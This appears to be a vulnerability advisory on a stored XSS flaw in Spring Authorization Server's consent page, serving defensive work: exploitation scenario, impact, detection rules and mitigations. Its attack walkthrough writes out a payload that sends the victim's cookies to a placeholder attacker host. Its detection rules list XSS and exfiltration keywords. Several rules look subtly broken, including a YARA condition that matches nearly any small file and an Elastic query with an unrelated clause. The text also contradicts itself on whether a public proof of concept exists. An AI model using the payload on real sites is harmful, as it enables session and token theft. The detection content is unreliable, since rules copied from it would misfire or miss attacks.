CVE-2026-59316

Executive Summary

CVE-2026-59316 is a stored cross-site scripting (XSS) vulnerability in Broadcom's Spring Authorization Server, affecting versions 1.5.0 through 1.5.8 and 1.4.0 through 1.4.11. The vulnerability exists in the DefaultConsentPage, where user-controlled values are rendered without HTML entity encoding, allowing an attacker to inject malicious scripts that execute in the context of an end user's browser session during the OAuth2 authorization/consent flow.

The attack requires user interaction (UI:R) and impacts confidentiality (C:H) and integrity (I:L) with a CVSS score of 8.2. Public PoC information is available, though no Nuclei template or exploit code has been published. The vulnerability is not listed on the CISA KEV catalog, and the EPSS score of 0.00185 suggests low current exploitation likelihood in the wild. However, the stored nature of the XSS and the critical role of authorization servers in identity infrastructure warrant immediate attention from affected organizations.

Technical Analysis

The vulnerability is rooted in the DefaultConsentPage component of the Spring Authorization Server. The DefaultConsentPage is the default user interface presented to end users when an OAuth2 authorization request requires explicit user consent for requested scopes or client applications. When rendering this page, the server fails to apply HTML entity encoding to user-controlled values.

Vulnerability Mechanism:

The flaw is a classic stored (or persistent) cross-site scripting (CWE-79) vulnerability. The attack vector operates as follows:

1. An attacker crafts a malicious OAuth2 authorization request containing a value that is not sanitized or encoded by the server.
2. This value is stored server-side — either in a session, database, or temporary storage mechanism used to persist the pending authorization request state.
3. When a legitimate end user is later presented with the consent page (the DefaultConsentPage), the stored malicious value is rendered in the HTML response without HTML entity encoding.
4. The browser interprets the unencoded content as executable markup, and the attacker's payload executes in the user's session context.

Attack Surface:

The attack surface is the public-facing OAuth2 authorization endpoint of any Spring Authorization Server deployment. The vulnerability is triggerable via a crafted authorization request URL, which can be delivered to a victim through phishing, malicious links, or embedding in third-party content that the victim trusts. Because the payload is stored server-side, the XSS persists across requests and can be triggered at a later time when the consent page is generated.

Code-Level Considerations:

The NVD description confirms the stored XSS is in the default consent page rendering logic. The lack of HTML entity encoding on user-controlled values is the root cause. Without access to the specific source code, the affected rendering logic likely feeds raw request parameters (such as client descriptions, scope descriptions, or redirect URIs) directly into the HTML template without calling an encoding utility. The fix would involve applying standard output encoding (e.g., HTML entity encoding) to all user-controlled values before rendering them in the consent page template.

Affected Versions:

• Spring Authorization Server 1.5.0 - 1.5.8
• Spring Authorization Server 1.4.0 - 1.4.11

CVSS Analysis:

The CVSS vector (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N) indicates:

• Attack Vector: Network — exploitable remotely
• Attack Complexity: Low — no special conditions required
• Privileges Required: None — unauthenticated attacker
• User Interaction: Required — the victim must click the malicious link or initiate the consent flow
• Scope: Changed — the XSS impacts a different security context (the victim's browser session)
• Confidentiality Impact: High — the attacker can potentially read session tokens, OAuth2 authorization codes, or other sensitive data exposed in the consent page context
• Integrity Impact: Low — the attacker may modify page content or perform limited actions
• Availability Impact: None

Exploitation Scenarios

Prerequisite Assumptions: The target is a publicly accessible Spring Authorization Server running a vulnerable version (1.5.0-1.5.8 or 1.4.0-1.4.11) with the DefaultConsentPage enabled. No public PoC exploit code has been released, so the following attack chain is inferred from the vulnerability class and NVD description.

Step 1 — Reconnaissance/Target Identification: The attacker identifies target organizations using Spring Authorization Server by:

• Scanning for OAuth2 authorization endpoints (typically identified by URL patterns consistent with /oauth2/authorize or similar standard OAuth2 endpoints).
• Fingerprinting the server via HTTP response headers (such as Server headers or Spring-specific headers) or by observing the consent page structure in a benign OAuth2 flow.
• Using information gathered from job postings, documentation, or open-source intelligence to identify the technology stack.

Step 2 — Triggering the Flaw: The attacker crafts a malicious OAuth2 authorization request. The request includes a user-controlled parameter value that contains the XSS payload (e.g., <script>document.location='http://attacker.com/steal?c='+document.cookie</script>). Because the vulnerable versions do not HTML-entity-encode this parameter value when storing it server-side, the payload is persisted.

Step 3 — Payload Delivery/Execution: The attacker delivers the crafted authorization request URL to a victim (e.g., via phishing email, social engineering, or embedding in a website the victim trusts). When the victim clicks the link:

• The authorization server processes the request and stores the malicious value.
• The server generates the DefaultConsentPage and renders the stored value without encoding.
• The victim's browser executes the attacker's script in the context of the authorization server's domain.

Step 4 — Post-Exploitation Impact: Once the script executes, the attacker can:

• Steal OAuth2 authorization codes or tokens from the consent page's DOM (confidentiality impact).
• Perform session hijacking if session cookies are readable by the script.
• Modify the consent page content to trick the victim into approving malicious scopes or client applications (integrity impact).
• Use the compromised authorization server context to pivot to other attacks against connected OAuth2 client applications.

Important Note: No public PoC has been confirmed; the attack chain above is inferred at the vulnerability-class level from the stored XSS description. The NVD description confirms the attack mechanism and the affected component (DefaultConsentPage), but specific payload vectors (e.g., which exact parameter fields are injectable) are not publicly documented.

Impact Assessment

Business Impact: Spring Authorization Server is a core component of identity and access management (IAM) infrastructure. A stored XSS in the consent page directly undermines the trust boundary between the authorization server and its end users. Successful exploitation can lead to:

• Credential/Token Theft: The attacker can steal OAuth2 authorization codes, access tokens, or session identifiers from the victim's browser, potentially granting lateral access to protected resources.
• Account Takeover: If the authorization server manages user sessions, token theft can facilitate full account compromise.
• Regulatory/Compliance Exposure: Organizations subject to GDPR, HIPAA, SOX, or other data protection regulations face potential penalties if user credentials or sensitive data are exfiltrated.

Affected Systems: All Spring Authorization Server deployments running versions 1.5.0-1.5.8 or 1.4.0-1.4.11 with the default consent page configuration are vulnerable. Organizations using custom consent page implementations are not affected by this specific flaw, although they should verify their custom implementations apply proper output encoding.

Blast Radius:

• Scope Changed (CVSS): The compromised security context is the victim's browser session, not the authorization server's backend directly. However, the high confidentiality impact reflects the sensitivity of data accessible from the consent page.
• User Base: Any end user who interacts with the consent page is a potential victim. In enterprise deployments, this could include employees, partners, and customers.
• Downstream Impact: Since authorization servers often issue tokens for multiple client applications, a successful attack could cascade into compromised access to connected third-party services and internal resources.

CVSS Subscore: The CVSS score of 8.2 places this vulnerability in the "High" severity range. The combination of network exploitability, low attack complexity, no required privileges, and high confidentiality impact makes this a priority for remediation despite the user interaction requirement.

Detection Guidance

Sigma Rule

title: Stored XSS in Spring Authorization Server Consent Page
id: 7c9a5f2e-1d3b-4e8a-9c6f-3a2b1d4e5f6a
status: experimental
description: Detects potential stored XSS attempts targeting Spring Authorization Server by identifying suspicious script payloads in authorization request parameters
logsource:
  category: webserver
  product: spring
detection:
  selection:
    cs-method: GET
    cs-uri-query|contains:
      - '<script'
      - 'javascript:'
      - 'onerror='
      - 'onload='
      - 'document.cookie'
      - 'fetch('
  condition: selection
fields:
  - clientip
  - cs-uri-query
  - cs-user-agent
falsepositives:
  - Legitimate URLs containing the word 'script' in query parameters
  - Security scanners testing for XSS
level: high

YARA Rule

rule Spring_Auth_Server_Stored_XSS_Payloads
{
    meta:
        author = "ValtersIT Threat Intelligence"
        description = "Detects malicious payloads targeting Spring Authorization Server DefaultConsentPage stored XSS (CVE-2026-59316)"
        cve = "CVE-2026-59316"
        date = "2026-01-01"
        severity = "high"

    strings:
        $s1 = "document.cookie" ascii wide nocase
        $s2 = "window.location" ascii wide nocase
        $s3 = "document.location" ascii wide nocase
        $s4 = "<script>" ascii wide nocase
        $s5 = "onerror=" ascii wide nocase
        $s6 = "onload=" ascii wide nocase
        $s7 = "XMLHttpRequest" ascii wide nocase
        $s8 = "fetch(" ascii wide nocase
        $s9 = "eval(" ascii wide nocase
        $s10 = "fromCharCode" ascii wide nocase
        $s11 = "/oauth2/authorize" ascii wide nocase
        $s12 = "response_type=code" ascii wide nocase

    condition:
        uint16(0) == 0x0D0A or uint16(0) == 0x0A0D or filesize < 10MB
        and 2 of ($s1, $s2, $s3, $s4, $s5, $s6, $s7, $s8, $s9, $s10)
        and any of ($s11, $s12)
}

Suricata IDS Rule

alert http any any -> any any (msg:"ET EXPLOIT Spring Authorization Server Stored XSS Attempt CVE-2026-59316"; flow:established,to_server; content:"/oauth2/authorize"; http_uri; content:"<script>"; nocase; http_uri; pcre:"/[\x27\x22]\s*<\s*script/i"; classtype:attempted-user; sid:5931601; rev:1; metadata:created_at 2026_01_01, updated_at 2026_01_01, cve CVE-2026-59316;)

alert http any any -> any any (msg:"ET EXPLOIT Spring Auth Server Consent Page Script Exfil Payload"; flow:established,to_server; content:"/oauth2/authorize"; http_uri; content:"document.cookie"; nocase; http_uri; sid:5931602; rev:1; metadata:created_at 2026_01_01, updated_at 2026_01_01, cve CVE-2026-59316;)

alert http any any -> any any (msg:"ET EXPLOIT Spring Auth Server XSS Obfuscated Payload"; flow:established,to_server; content:"/oauth2/authorize"; http_uri; pcre:"/(?:fromCharCode|eval\s*\(|document\s*\.\s*write)/i"; classtype:attempted-user; sid:5931603; rev:1; metadata:created_at 2026_01_01, updated_at 2026_01_01, cve CVE-2026-59316;)

Elastic Detection

sequence by source.ip with maxspan=5m
  [network where dns.question.name : "*" and process.name : "java" and event.type == "start"] // Identify Java application server activity
  [http where http.request.method == "GET" and
    url.path like "*oauth2*authorize*" and
    (url.query like "*<script>*" or
     url.query like "*javascript:*" or
     url.query like "*document.cookie*" or
     url.query like "*onerror=*" or
     url.query like "*onload=*")]

Splunk SPL Query

index=web OR index=proxy OR index=spring_security
| where like(_raw, "%/oauth2/authorize%")
  AND (like(_raw, "%<script>%") 
       OR like(_raw, "%javascript:%") 
       OR like(_raw, "%document.cookie%") 
       OR like(_raw, "%onerror=%") 
       OR like(_raw, "%onload=%") 
       OR like(_raw, "%fromCharCode%"))
| stats count by src_ip, dest_ip, uri, user_agent, _time
| sort - _time
| rename src_ip as "Source IP", dest_ip as "Destination IP", uri as "Request URI", 
         user_agent as "User Agent", _time as "Event Time", count as "Hit Count"
| table "Event Time", "Source IP", "Destination IP", "Request URI", "User Agent", "Hit Count"

Wazuh OSSEC Rule

<group name="spring_auth_xss,">
  <rule id="593160" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">\./oauth2/authorize.*</field>
    <regex>url:\s*.*(?:&lt;script&gt;|javascript:|document\.cookie|onerror=|onload=)</regex>
    <description>Spring Authorization Server stored XSS exploitation attempt detected (CVE-2026-59316)</description>
    <group>attack,xss,web_application,spring,</group>
    <mitre>
      <id>T1059.007</id>
    </mitre>
  </rule>

  <rule id="593161" level="10">
    <if_sid>593160</if_sid>
    <field name="url">\./oauth2/authorize.*</field>
    <regex>url:\s*.*(?:&lt;script&gt;|javascript:|document\.cookie|onerror=|onload=)</regex>
    <description>Multiple Spring Authorization Server XSS payloads detected</description>
    <group>attack,xss,web_application,spring,</group>
    <frequency>5</frequency>
    <timeframe>60</timeframe>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Status: The NVD lists a claimed patch, but this is only a single-source claim and not independently confirmed. The specific patched version or commit hash has not been publicly documented. Organizations should monitor official Spring project security advisories for confirmation.

Immediate Mitigations (without a confirmed patch):

1. Review Consent Page Configuration: If a custom consent page implementation is already in use, verify that all user-controlled values are properly HTML-entity-encoded before rendering. If possible, temporarily switch to a custom consent page that applies strict output encoding while awaiting the official patch.
2. Web Application Firewall (WAF) Rules: Deploy WAF rules to inspect authorization request parameters for common XSS payload patterns (e.g., <script>, javascript:, onerror=, onload=) and block requests containing such patterns targeting the OAuth2 authorization endpoint.
3. Restrict Endpoint Exposure: If possible, restrict network access to the authorization server's consent page to trusted networks or implement additional authentication layers (e.g., IP allowlisting) to reduce the attack surface.
4. Input Validation at Reverse Proxy: If a reverse proxy or API gateway front-ends the authorization server, add filtering rules to reject malformed authorization requests containing obviously malicious XSS payloads.

Patch/Upgrade Steps:

1. Monitor the official Spring Authorization Server project page and mailing lists for the release announcement containing the fix for CVE-2026-59316.
2. Once a patched version is confirmed, upgrade all affected deployments (1.5.0-1.5.8, 1.4.0-1.4.11) to the latest patched release.
3. Before upgrading, take a snapshot or backup of the current deployment.
4. Test the upgrade in a staging environment first, verifying that:
   • The consent page still renders correctly.
   • All custom configurations remain functional.
5. Deploy the patched version to production and verify the application is running normally.

Long-Term Hardening:

1. Implement Output Encoding Standards: Establish a development standard requiring HTML entity encoding (or context-appropriate encoding) for all user-controlled data rendered in web pages, particularly in OAuth2 flows.
2. Enable Content Security Policy (CSP): If not already in place, configure a strict CSP for the authorization server to limit the impact of any future XSS vulnerabilities (e.g., script-src 'self').
3. Regular Dependency Monitoring: Subscribe to CVE notifications for Spring-related projects and review dependencies monthly or ideally continuously via automated tools.
4. Security Testing: Include XSS-specific test cases in ISA/penetration testing of authorization endpoints, focusing on OAuth2 request parameter injection.
5. Credential Theft Mitigation: Ensure OAuth2 authorization codes are short-lived and bound to the client, limiting the window of opportunity for attackers who steal tokens.
6. Educate Users: Train users to recognize phishing attempts that could deliver malicious authorization request URLs.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-59316
2. Spring Authorization Server Official Documentation: https://docs.spring.io/spring-authorization-server/reference/index.html
3. Broadcom/Spring Security Advisory (expected): https://spring.io/security (monitor for CVE-2026-59316-specific advisory)
4. CWE-79 Common Weakness Enumeration: https://cwe.mitre.org/data/definitions/79.html
5. OWASP Cross-Site Scripting Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Threat Actor Campaigns: At the time of writing, no known threat actor campaigns or active exploitation in the wild have been reported for CVE-2026-59316. The EPSS score of 0.00185 (8.1% percentile) indicates a low likelihood of near-term exploitation. However, stored XSS vulnerabilities in identity infrastructure are frequently targeted once public PoC material circulates; continued monitoring is recommended. The CISA KEV catalog does not include this CVE.